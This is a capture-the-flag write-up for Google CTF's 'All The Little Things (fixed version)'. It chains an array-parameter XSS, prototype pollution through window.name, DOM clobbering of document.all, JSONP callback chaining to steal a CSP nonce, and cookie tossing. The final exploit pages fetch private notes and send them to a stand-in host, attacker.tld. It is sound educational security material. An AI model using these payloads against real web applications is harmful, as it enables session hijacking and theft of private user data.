# All The Little Things (fixed version)Description```I left a little secret in a note, but it's private, private is safe.Note: TJMike? from Pasteurize is also logged into the page.https://littlethings.web.ctfcompetition.com```
The task contains 2 sites with notes: * `pasteurize.web.ctfcompetition.com` public notes, with the ability to share content to the user TJMike * `fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com` private notes
Since we can interact with the XSS bot only through `pasteurize`, the attack should start from public notes.
## PasteurizeNode.JS Express application with source code```https://pasteurize.web.ctfcompetition.com/source``````jsapp.use(bodyParser.urlencoded({extended: true}));...const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');...
app.post('/', async (req, res) => {  const note = req.body.content;  ...  const result = await DB.add_note(note_id, note); ...app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {  const note_id = req.params.id;  const note = await DB.get_note(note_id);  ..  const unsafe_content = note.content;  const safe_content = escape_string(unsafe_content);```
The application uses `body-parser` library with the `extended` option to handle POST body.Extended option determines which library will be used to parse the urlencoded string `qs` or `querystring`.
| POST Body            | extended: false           | extended: true            ||----------------------|---------------------------|---------------------------|| test=test            | {test: 'test'}            | {test: 'test'}            || test[]=test          | {'test[]': 'test'}        | {test: ['test']}          || test=test&test=test2 | {test: ['test', 'test2']} | {test: ['test', 'test2']} |
The `escape_string` function expects only a string in the input parameters, and if `content` contains an array, the processing logic is violated and the attacker can execute arbitrary JS code.
```jsconst escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)  .replace(/</g, '\\x3C').replace(/>/g, '\\x3E');```Example```jsconsole.log('const node="%s"', escape_string('test'));
const node="test"
console.log('const node="%s"', escape_string(['test']));
const node=""test""```
HTTP Request```httpPOST / HTTP/1.1Host: pasteurize.web.ctfcompetition.comContent-Type: application/x-www-form-urlencodedContent-Length: 22
content[]=-alert(123)-```
Result```jsconst note = ""-alert(123)-"";```
But as you can see from the table above - the extended `body-parser` format is optional and the array can also be sent using several variables with the same key.
HTTP Request```httpPOST / HTTP/1.1Host: pasteurize.web.ctfcompetition.comContent-Type: application/x-www-form-urlencodedContent-Length: 22
content=-alert(123)//&content=x```
Result```jsconst note = ""-alert(123)//","x"";```
## All The Little ThingsThe application allows you to create private notes visible only to the current user.
By default, the application loads the user from a JSON object that returns `/me` endpoint.```jswindow.addEventListener('DOMContentLoaded', ()=>{    fetch('/me').then(e => e.json()).then(make_user_object);}
...
class User {    #username; #theme; #img    constructor(username, img, theme) {        this.#username = username        this.#theme = theme        this.#img = img    }    get username() {        return this.#username    }
    get img() {        return this.#img    }
    get theme() {        return this.#theme    }
    toString() {        return `user_${this.#username}`    }}
function make_user_object(obj) {
    const user = new User(obj.username, obj.img, obj.theme);    window.load_debug?.(user);    ...```
`/me` endpoint```httpHTTP/1.1 200 OKContent-Type: application/json; charset=utf-8
{"username":"guest","img":"/static/images/anonymous.png","theme":{"cb":"set_light_theme","options":{}}}```
### Debug version
On the settings page there is a hint about debug version of the application, which is enabled by adding a parameter to the query-string.```html
```
In the debug version, script `/static/scripts/debug.js` is added to all application pages, allowing an attacker to change user's loading logic.```jsclass Debug {    #username;    constructor(username="") {        this.#username = username    }    toString() {        return `debug_${this.#username}`    }}
// Extend user objectfunction load_debug(user) {    let debug;    try {        debug = JSON.parse(window.name);    } catch (e) {        return;    }
    if (debug instanceof Object) {        user.debug = new Debug(user.username);        Object.assign(user.debug, debug);    }
    if(user.debug.debugUser){        user.toString = () => user.debug.toString();    }     if(user.debug.verbose){        console.log(user);        console.log(user.debug);    }```
### User object
When user object is loaded, the application stores this object in `document` and calls the `update_theme` function. This function calls the JSONP callback stored in user object to set the selected theme.
```jsfunction make_user_object(obj) {    ...     window.USERNAME = user.toString();    document[window.USERNAME] = user;    update_theme();}
function update_theme() {    const theme = document[USERNAME].theme;    const s = document.createElement('script');    s.src = `/theme?cb=${theme.cb}`;    document.head.appendChild(s);}```
```js{"username":"guest","img":"/static/images/anonymous.png","theme":{"cb":"set_light_theme","options":{}}}```
As a result, the following endpoint will be called `/theme?cb=set_light_theme````set_light_theme({"version":"b1.13.7","timestamp":1598432753476})```
The callback value is filtered, only characters that match the regular expression `[.=0-9A-Z_a-z]` can be used. Thus, if attacker overrides the callback value, this will make it possible to execute one arbitrary function or assignment.
### Window name
To start exploiting vulnerabilities, an attacker needs to set `window.name` property.  This can be achieved through:
 * `<iframe name="*attacker-controlled*" src="//task"></iframe>` (blocked via `X-Frame-Options: DENY`) * `window.open('//task', '*attacker-controlled*')` (must be triggered by a direct user action, otherwise it will be blocked) * Open a page controlled by the attacker, set `window.name`, redirect to the task  Under these conditions, only the last option will work.
### Prototype Pollution
Using `window.name`, attacker can override the `theme` value in the `user` object.
```jsdebug = JSON.parse(window.name);...Object.assign(user, debug);```
Example:```jsuser = {"theme":{"cb":"test"}}Object.assign(user, JSON.parse('{"theme":{"cb":"alert"}}'))
user.theme.cb == "alert"```
To protect against this, the class `User` uses private fields with getters only.```jsclass User {    #theme;    constructor(theme) {        this.#theme = theme    }
    get theme() {        return this.#theme    }}
user = new User({"cb":"test"})Object.assign(user, JSON.parse('{"theme":{"cb":"alert"}}'))
// Uncaught TypeError: Cannot set property theme of #<User> which has only a getter```
But this can be exploited using the Prototype Pollution```jsObject.assign(user, JSON.parse('{"__proto__":{"theme":{"cb":"alert"}}}'))
user.theme.cb == "alert"```
In the fixed version of the task, attacker cannot directly overwrite the callback of main object and can only affect `user.toString()`.
```jsdebug = JSON.parse(window.name);...user.debug = new Debug(user.username);Object.assign(user.debug, debug);...if(user.debug.debugUser){  user.toString = () => user.debug.toString();}```
By default, `toString()` function of user object returns a value with `user_` prefix```jstoString() {  return `user_${this.#username}`}```
In order to return an arbitrary value, attacker can use an array as `__proto__`, for example:```{"debugUser":"true","__proto__":["foobar"]}
user.toString() == "foobar"```
### DOM Clobbering
As a result of exploiting Prototype Pollution, attacker can define any `document` field, but only if it is undefined.
```jsfunction is_undefined(x) {    return typeof x === "undefined" && x == undefined}...// make sure to not override anythingif (!is_undefined(document[user.toString()])) {  return false;}...window.USERNAME = user.toString();document[window.USERNAME] = user;```
If we check which of the document fields meet these conditions, we get the following.
```jsfor (name in document) {  if (typeof document[name] === "undefined")   console.log(`document.${name}`);        }
document.all```
`document.all` is a read-only field that contains every element in the document (Hint was in the name of the task all this time). So if `user.toString()` will return `all`:
```document["all"] = user;...theme = document.all.theme;...callback = document.all.theme.cb;```
Now we need to return to the main function of the application - private notes.```html<script nonce="e75a76cccb1884de">  const note = "test";  const note_id = "a80b5c6c-35e4-4f35-8654-d6273078b39d";  const note_el = document.getElementById('note-content');  const note_url_el = document.getElementById('note-title');  const clean = DOMPurify.sanitize(note);  note_el.innerHTML = clean;  note_url_el.href = `/note/${note_id}`;  note_url_el.innerHTML = `${note_id}`;</script>```
The content of the notes is filtered using DOMPurify, but the `id` and `name` attributes are available for use. To exploit the vulnerability and overwrite the callback, an attacker needs to create a `document.all.theme.cb` field that returns a controlled value when cast to a string.
Example:``````
`document.all.theme` will return an HTMLCollection since there are two elements in the DOM with id = theme.
![HTMLCollection](https://i.imgur.com/l4ipTEq.png)!
`document.all.theme.cb.toString()` will return `http://test/`
The result of this combination of DOM Clobbering and Prototype Pollution is the next request `/theme?cb=http://test/````httptest({"version":"b1.13.7","timestamp":1598432753476})```
At this stage, we cannot use```jslocation=something.that.return.javascript.scheme({"version":"b1.13.7","timestamp":1598432753476})```since the application uses CSP```Content-Security-Policy: default-src 'none';script-src 'self' 'nonce-7a731d73bf5857d7';...```
But we can overwrite the `innerHTML` of an arbitrary element using```html``````jshttpstestx=document.body.firstElementChild.innerHTML=window.name.toString({"version":"b1.13.7","timestamp":1598439920882})```
### Self XSS
Since `<script src>` will not work directly from innerHTML, it is possible to wrap it in iframe srcdoc.```html<iframe srcdoc='<script src=/theme?cb=alert></script>'></iframe>```
Using callback chaining is possible: * Create script element in iframe * Steal a valid nonce from the parent page and set it in an iframe script * Set script content via innerHTML Exploit:```html<script>	ifrs  = [		"<iframe name=xss srcdoc='<script charset=fetch("/note/").then(x=&gt;x.text()).then(x=&gt;parent.location="//attacker.tld?c="+btoa(x))><\/script>'></iframe> ",		"<iframe srcdoc=\'<script src=/theme?cb=parent.xss.document.head.lastElementChild.nonce=parent.document.body.lastElementChild.nonce.valueOf><\/script>\'></iframe>",		"<iframe srcdoc=\'<script src=/theme?cb=parent.xss.document.head.lastElementChild.innerHTML=parent.xss.document.head.lastElementChild.charset.toString><\/script>\'></iframe>",	];  window.name='{"debugUser":true,"showAll":true,"x":"'+ifrs.join()+'","keepDebug":true,"verbose":true,"__proto__":["all"]}';
  location='https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com/note/*ATTACKER_PRIVATE_NODEID*?__debug__';</script>```
And, we got Self-XSS, this report is not eligible for a bounty, closed.
### XSS
In the last step, we need to make the private note available to the XSS bot. Since there is XSS on `pasteurize.web.ctfcompetition.com`, an attacker can set a cookie on `*.web.ctfcompetition.com`, which will be available on `fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com`.
When checking authorization, task web server uses the first cookie in the HTTP header as a result. Since we are not overwriting the existing `session` and `session.sig` cookies, but adding another one, we need to set up the attributes which will make our cookies to be the first among others. Browsers sort cookies by the date they were added and by the matching path attribute prefix.
If the attacker adds the following cookies:```document.cookie='session.sig=*ATTACKER_SIG*; domain=.web.ctfcompetition.com; path=/note/foobar'document.cookie='session=*ATTACKER_SESSION*; domain=.web.ctfcompetition.com; path=/note/foobar'```
On HTTP request `/note/foobar`, the attacker's cookie will be sent first and the web server will authorize the user to the attacker's profile. For any other HTTP requests, the XSS bot will be authorized as usual.
### Final Exploit
* Create private note in attacker profile with DOM Clobbering
```htmlx```
* Create public note with XSS
```httpPOST / HTTP/1.1Host: pasteurize.web.ctfcompetition.comContent-Type: application/x-www-form-urlencodedContent-Length: 22
content[]="-(document.cookie='session.sig=*ATTACKER_SIG*; domain=.web.ctfcompetition.com; path=/note/*ATTACKER_PRIVATE_NODEID*',document.cookie='session=*ATTACKER_SESSION*; domain=.web.ctfcompetition.com; path=/note/*ATTACKER_PRIVATE_NODEID*',location='https://attacker.tld/part2.html')-"```
* Attacker site
```html<script>  ifrs  = [    "<iframe name=xss srcdoc='<script charset=fetch("/note").then(x=&gt;x.text()).then(x=&gt;parent.location="//attacker.tld?c="+btoa(x))><\/script>'></iframe> ",    "<iframe srcdoc=\'<script src=/theme?cb=parent.xss.document.head.lastElementChild.nonce=parent.document.body.lastElementChild.nonce.valueOf><\/script>\'></iframe>",    "<iframe srcdoc=\'<script src=/theme?cb=parent.xss.document.head.lastElementChild.innerHTML=parent.xss.document.head.lastElementChild.charset.toString><\/script>\'></iframe>",  ]; window.name='{"debugUser":true,"showAll":true,"x":"'+ifrs.join()+'","keepDebug":true,"verbose":true,"__proto__":["all"]}';
  location='https://fixedthings-vwatzbndzbawnsfs.web.ctfcompetition.com/note/*ATTACKER_PRIVATE_NODEID*?__debug__';</script>```
**Flag:** As for a reward, here comes your juicy flag **CTF{twitter.com/terjanq}**